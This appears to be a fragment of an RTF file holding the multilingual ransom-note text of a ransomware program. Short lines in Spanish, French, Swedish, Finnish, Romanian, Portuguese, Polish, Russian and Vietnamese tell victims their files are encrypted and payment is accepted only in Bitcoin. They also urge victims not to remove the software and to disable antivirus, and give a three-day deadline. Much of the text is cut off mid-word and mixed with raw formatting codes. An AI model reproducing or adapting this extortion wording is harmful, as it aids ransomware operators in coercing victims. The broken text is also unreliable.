\\'ca\\'f0\\'ee\\'ec\\'e5\\loch\\f31529 \\hich\\f31529 \\'f2\\'ee\\'e3\\'ee\\loch\\f31529 \\hich\\f31529 , \\'e5\\'f1\\'eb\\'e8\\loch\\f31529 \\hich\\f31529 \\'e2\\'fb\\loch\\f31529 \\hich\\f31529 \\'ed\\'e5\\loch\\f31529 \\hich\\f31529 \\'e7\\'e0\\'ef \\par \\loch\\af31529\\dbch\\af31505\\hich\\f31529 \\'cc\\'ed\\'ee\\'e3\\'e8\\'e5\\loch\\f31529 \\hich\\f31529 \\'e8\\'e7\\loch\\f31529 \\hich\\f31529 \\'e2\\'e0\\'f8\\'e8\\'f5\\loch\\f31529 \\hich\\f31529 \\'e4\\'ee\\'ea\\'f3\\'ec\\'e5\\'ed\\'f2\\'ee\\'e2\\loch\\f31529 \\hich\\f31529 , \\'f4\\'ee\\'f2 \\par \\loch\\af31529\\dbch\\af31505\\hich\\f31529 \\'cd\\'ee\\loch\\f31529 \\hich\\f31529 \\'e5\\'f1\\'eb\\'e8\\loch\\f31529 \\hich\\f31529 \\'e2\\'fb\\loch\\f31529 \\hich\\f31529 \\'f5\\'ee\\'f2\\'e8\\'f2\\'e5\\loch\\f31529 \\hich\\f31529 \\'f0\\'e0\\'f1\\'f8\\'e8\\'f4\\'f0\\'ee\\'e2\\'e0\\'f2\\'fc \\par \\loch\\af31529\\dbch\\af31505\\hich\\f31529 \\'cf\\'ee\\'e6\\'e0\\'eb\\'f3\\'e9\\'f1\\'f2\\'e0\\loch\\f31529 \\hich\\f31529 , \\'ef\\'f0\\'ee\\'e2\\'e5\\'f0\\'fc\\'f2\\'e5\\loch\\f31529 \\hich\\f31529 \\'f2\\'e5\\'ea\\'f3\\'f9\\'f3\\'fe\\loch\\f31529 \\hich\\f31529 \\'f6\\'e5\\'ed\\'f3\\loch\\f31529 \\par \\loch\\af31529\\dbch\\af31505\\hich\\f31529 \\'d3\\loch\\f31529 \\hich\\f31529 \\'e2\\'e0\\'f1\\loch\\f31529 \\hich\\f31529 \\'e5\\'f1\\'f2\\'fc\\loch\\f31529 \\hich\\f31529 \\'f2\\'ee\\'eb\\'fc\\'ea\\'ee\\loch\\f31529 \\hich\\f31529 3 \\'e4\\'ed\\'ff\\loch\\f31529 \\hich\\f31529 , \\'f7\\'f2 \\par \\loch\\af31529\\dbch\\af31505\\hich\\f31529 \\'d3\\loch\\f31529 \\hich\\f31529 \\'ed\\'e0\\'f1\\loch\\f31529 \\hich\\f31529 \\'e1\\'f3\\'e4\\'f3\\'f2\\loch\\f31529 \\hich\\f31529 \\'e1\\'e5\\'f1\\'ef\\'eb\\'e0\\'f2\\'ed\\'fb\\'e5\\loch\\f31529 \\hich\\f31529 \\'ec\\'e5\\'f0\\'ee\\'ef\\'f0\\'e8\\'ff \\par }{\\*\\themedata 504b030414000600080000002100828abc13fa0000001c020000130000005b436f6e74656e745f54797065735d2e786d6cac91cb6ac3301045f785fe83d0b6d8 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid11827162\\charrsid10775863 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Kontakt \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid13056521\\charrsid16268367 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Contacto \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid13056521\\charrsid16268367 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 \\'bf\\loch\\f31502 \\hich\\f31502 C\\'f3\\loch\\f31502 mo pago? \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid13056521\\charrsid16268367 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 \\'bf\\loch\\f31502 P\\hich\\af31502\\dbch\\af31505\\loch\\f31502 uedo recuperar mis archivos? \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 L\\'e0\\loch\\f31502 m th}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 T\\'f4\\loch\\f31502 \\hich\\f31502 i c\\'f3\\loch\\f31502 th}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Ti}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14574943\\charrsid15614891 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Puis-je r\\'e9\\loch\\f31502 \\hich\\f31502 cup\\'e9\\loch\\f31502 rer mes fichiers? \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14574943\\charrsid15614891 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Comment je paye? \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid14574943\\charrsid15614891 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Contact \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid15532574\\charrsid13779469 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Kan jag \\'e5\\loch\\f31502 \\hich\\f31502 terst\\'e4\\loch\\f31502 lla mina filer? \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid15532574\\charrsid13779469 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Hur betalar jag? \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid15532574\\charrsid13779469 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Kontakta \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid5593755\\charrsid11698073 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Ottaa yhteytt\\'e4 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid5593755\\charrsid11698073 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Miten voin maksaa? \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid5593755\\charrsid11698073 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Voinko palauttaa tiedostot? \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 a lua legatura \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Cum platesc? \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Pot recupera fi}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid8666578\\charrsid7362391 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Como eu pago? \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid8666578\\charrsid7362391 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Contato \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31502\\fs28\\insrsid8666578\\charrsid7362391 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Posso recuperar meus arquivo\\hich\\af31502\\dbch\\af31505\\loch\\f31502 s? \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31528\\fs28\\insrsid11827162\\charrsid10775863 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 Czy mog\\'ea\\loch\\f31528 \\hich\\f31528 odzyska\\'e6\\loch\\f31528 moje pliki? \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31528\\fs28\\insrsid11827162\\charrsid10775863 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 Jak mam zap\\'b3\\loch\\f31528 \\hich\\f31528 aci\\'e6\\loch\\f31528 ? \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31529\\fs28\\insrsid12997017\\charrsid8528114 \\loch\\af31529\\dbch\\af31505\\hich\\f31529 \\'ca\\'e0\\'ea\\loch\\f31529 \\hich\\f31529 \\'ec\\'ed\\'e5\\loch\\f31529 \\hich\\f31529 \\'ee\\'ef\\'eb\\'e0\\'f2\\'e8\\'f2\\'fc\\loch\\f31529 ? \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31529\\fs28\\insrsid12997017\\charrsid8528114 \\loch\\af31529\\dbch\\af31505\\hich\\f31529 \\'cc\\'ee\\'e6\\'ed\\'ee\\loch\\f31529 \\hich\\f31529 \\'eb\\'e8\\loch\\f31529 \\hich\\f31529 \\'e2\\'ee\\'f1\\'f1\\'f2\\'e0\\'ed\\'ee\\'e2\\'e8\\'f2\\'fc \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\b\\f31529\\fs28\\insrsid12997017\\charrsid8528114 \\loch\\af31529\\dbch\\af31505\\hich\\f31529 \\'ea\\'ee\\'ed\\'f2\\'e0\\'ea\\'f2 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid13056521\\charrsid16268367 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Le recomendamos encarecidamente que no quite este software, y deshabilite su an\\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Ch\\'fa\\loch\\f31502 \\hich\\f31502 ng t\\'f4\\loch\\f31502 i th}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid14574943\\charrsid15614891 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Nous vous recommandons vivement de ne pas supprimer ce logiciel et de d\\'e9\\loch\\f31502 \\hich\\f31502 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid15532574\\charrsid13779469 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Vi rekommenderar starkt att du inte tar bort den h\\'e4\\loch\\f31502 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid5593755\\charrsid11698073 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Suosittelemme, ettet poista t\\'e4\\loch\\f31502 \\hich\\f31502 t\\'e4\\loch\\f31502 \\hich\\f31502 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\cf6\\insrsid8666578\\charrsid7362391 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Recomendamos vivamente que voc\\'ea\\loch\\f31502 \\hich\\f31502 n\\'e3\\loch\\f31502 \\hich\\f31502 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid11827162\\charrsid10775863 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid11827162\\charrsid10775863 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Po dokonan}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid11827162\\charrsid10775863 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid11827162\\charrsid10775863 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Ponadto,}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid11827162\\charrsid10775863 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid12997017\\charrsid8528114 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid13056521\\charrsid16268367 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 El pago se acepta en Bitcoin solamente. Para obtener m\\'e1\\loch\\f31502 \\hich\\f31502 s informaci\\'f3\\loch\\f31502 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid13056521\\charrsid16268367 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Si necesita nuestra ayuda, env\\'ed\\loch\\f31502 e un mensaje haciendo clic en <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid13056521\\charrsid16268367 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Sus archivos importantes est\\'e1\\loch\\f31502 n encriptados. \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid13056521\\charrsid16268367 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Por supuesto. Le garantizamos que puede recuperar todos sus archivos de forma segura y sencilla. Pero no tienes tiempo suficiente. \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 C\\'e1\\loch\\f31502 c t}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Ngo\\'e0\\loch\\f31502 i ra, n}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Thanh to\\'e1\\loch\\f31502 n ch}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Ch}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 N}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14315351\\charrsid3475210 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14574943\\charrsid15614891 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Le paiement est accept\\'e9\\loch\\f31502 uniquement dans Bitcoin. Pour plus d'informations, cliquez sur <}{\\rtlch\\fcs1 \\af2 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14574943\\charrsid15614891 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 S\\'fb\\loch\\f31502 \\hich\\f31502 r. Nous vous garantissons que vous pouvez r\\'e9\\loch\\f31502 \\hich\\f31502 cup\\'e9\\loch\\f31502 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14574943\\charrsid15614891 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Vos fichiers importants sont chiffr\\'e9\\loch\\f31502 s. \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid14574943\\charrsid15614891 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Si vous avez besoin de notre assistance, envoyez u\\hich\\af31502\\dbch\\af31505\\loch\\f31502 n message en cliquant sur <}{\\rtlch\\fcs1 \\af2 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid15532574\\charrsid13779469 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Betalning accepteras endast i Bitcoin. F\\'f6\\loch\\f31502 \\hich\\f31502 r mer information, klicka p\\'e5\\loch\\f31502 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid15532574\\charrsid13779469 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Dina viktiga filer \\'e4\\loch\\f31502 r krypterade. \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid15532574\\charrsid13779469 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Om du beh\\'f6\\loch\\f31502 \\hich\\f31502 ver v\\'e5\\loch\\f31502 \\hich\\f31502 r hj\\'e4\\loch\\f31502 \\hich\\f31502 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid15532574\\charrsid13779469 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 S\\'e4\\loch\\f31502 ker. Vi garanterar \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 att du kan \\'e5\\loch\\f31502 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid5593755\\charrsid11698073 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Jos tarvitset apua, l\\'e4\\loch\\f31502 \\hich\\f31502 het\\'e4\\loch\\f31502 viesti klikkaamalla <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid5593755\\charrsid11698073 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 T\\'e4\\loch\\f31502 \\hich\\f31502 rke\\'e4\\loch\\f31502 t tiedostosi ovat salatut. \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid5593755\\charrsid11698073 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Varma. Takaamme, ett\\'e4\\loch\\f31502 voit palauttaa kaikki tiedostot t\\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid5593755\\charrsid11698073 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Maksu \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 hyv\\'e4\\loch\\f31502 \\hich\\f31502 ksyt\\'e4\\'e4\\loch\\f31502 \\hich\\f31502 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Fi}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Oda}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 t\\'e3 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\loch\\af31502\\dbch\\af31505\\hich\\f31502 c1\ \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 i trimite}{ \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8666578\\charrsid7362391 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Certo. N\\'f3\\loch\\f31502 \\hich\\f31502 s garantimos que voc\\'ea\\loch\\f31502 \\hich\\f31502 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8666578\\charrsid7362391 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 O pagamento \\'e9\\loch\\f31502 \\hich\\f31502 aceito apenas no Bitcoin. Para obter mais informa\\'e7\\'f5\\loch\\f31502 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8666578\\charrsid7362391 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 \\hich\\f31502 Seus arquivos importantes s\\'e3\\loch\\f31502 o criptografados. \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8666578\\charrsid7362391 \\hich\\af31502\\dbch\\af31505\\loch\\f31502 Se precisar de nossa ajuda, envie uma mensagem clicando em <}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid7362391 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\cf6\\insrsid11827162\\charrsid10775863 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 Zalecamy, aby nie usuwa\\'e6\\loch\\f31528 \\hich\\f31528 tego oprogramowania i nie wy\\'b3\\'b9\\loch\\f31528 \\hich\\f31528 czy \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\cf6\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 V\\'e3\\loch\\f31528 \\hich\\f31528 recomand\\'e3\\loch\\f31528 m cu insisten}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid11827162\\charrsid10775863 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 Je\\'9c\\loch\\f31528 \\hich\\f31528 li potrzebujesz naszej pomocy, wy\\'9c\\loch\\f31528 \\hich\\f31528 lij wiadomo\\'9c\\'e6 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid11827162\\charrsid10775863 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 Mo\\'bf\\loch\\f31528 \\hich\\f31528 esz odszyfrowa\\'e6\\loch\\f31528 \\hich\\f31528 niekt\\'f3\\loch\\f31528 \\hich\\f31528 re z plik\\'f3 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid11827162\\charrsid10775863 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 P\\'b3\\loch\\f31528 \\hich\\f31528 atno\\'9c\\'e6\\loch\\f31528 jest akceptowana tylko w programie Bitc \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid11827162\\charrsid10775863 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 Pewnie. Gwarantujemy, \\'bf\\loch\\f31528 \\hich\\f31528 e mo\\'bf\\loch\\f31528 \\hich\\f31528 na odzyska\\'e6\\loch\\f31528 \\hich\\f31528 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid11827162\\charrsid10775863 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 Twoje wa\\'bf\\loch\\f31528 \\hich\\f31528 ne pliki s\\'b9\\loch\\f31528 szyfrowane. \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid11827162\\charrsid10775863 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 Wy\\'9c\\loch\\f31528 \\hich\\f31528 lij odpowiedni\\'b9\\loch\\f31528 \\hich\\f31528 kwot\\'ea\\loch\\f31528 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 Dac\\'e3\\loch\\f31528 ave}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31502\\fs22\\insrsid8458214\\charrsid12743656 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 De asemenea, dac\\'e3\\loch\\f31528 \\hich\\f31528 nu pl\\'e3\\loch\\f31528 ti}{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 Plata este acceptat\\'e3\\loch\\f31528 \\hich\\f31528 numai \\'ee\\loch\\f31528 n Bitcoin. Pentru mai multe informa}{\\rtlch\\fcs1 \\af2 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31528\\fs22\\insrsid8458214\\charrsid12743656 \\hich\\af31528\\dbch\\af31505\\loch\\f31528 \\hich\\f31528 Sigur. V\\'e3\\loch\\f31528 \\hich\\f31528 garant\\'e3\\loch\\f31528 \\hich\\f31528 m c\\'e3\\loch\\f31528 \\hich\\f31528 v\\'e3\\loch\\f31528 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31529\\fs22\\cf6\\insrsid12997017\\charrsid8528114 \\loch\\af31529\\dbch\\af31505\\hich\\f31529 \\'cc\\'fb\\loch\\f31529 \\hich\\f31529 \\'ed\\'e0\\'f1\\'f2\\'ee\\'ff\\'f2\\'e5\\'eb\\'fc\\'ed\\'ee\\loch\\f31529 \\hich\\f31529 \\'f0\\'e5\\'ea\\'ee\\'ec\\'e5 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31529\\fs22\\insrsid12997017\\charrsid8528114 \\loch\\af31529\\dbch\\af31505\\hich\\f31529 \\'c2\\'e0\\'f8\\'e8\\loch\\f31529 \\hich\\f31529 \\'e2\\'e0\\'e6\\'ed\\'fb\\'e5\\loch\\f31529 \\hich\\f31529 \\'f4\\'e0\\'e9\\'eb\\'fb\\loch\\f31529 \\hich\\f31529 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31529\\fs22\\insrsid12997017\\charrsid8528114 \\loch\\af31529\\dbch\\af31505\\hich\\f31529 \\'c5\\'f1\\'eb\\'e8\\loch\\f31529 \\hich\\f31529 \\'e2\\'e0\\'ec\\loch\\f31529 \\hich\\f31529 \\'ed\\'f3\\'e6\\'ed\\'e0\\loch\\f31529 \\hich\\f31529 \\'ed\\'e0 \\par }{\\rtlch\\fcs1 \\af2 \\ltrch\\fcs0 \\f31529\\fs22\\insrsid12997017\\charrsid8528114 \\loch\\af31529\\dbch\\af31505\\hich\\f31529 \\'c8\\loch\\f31529 \\hich\\f31529 \\'ee\\'f2\\'ef\\'f0\\'e0\\'e2\\'fc\\'f2\\'e5\\loch\\f31529 \\hich\\f31529 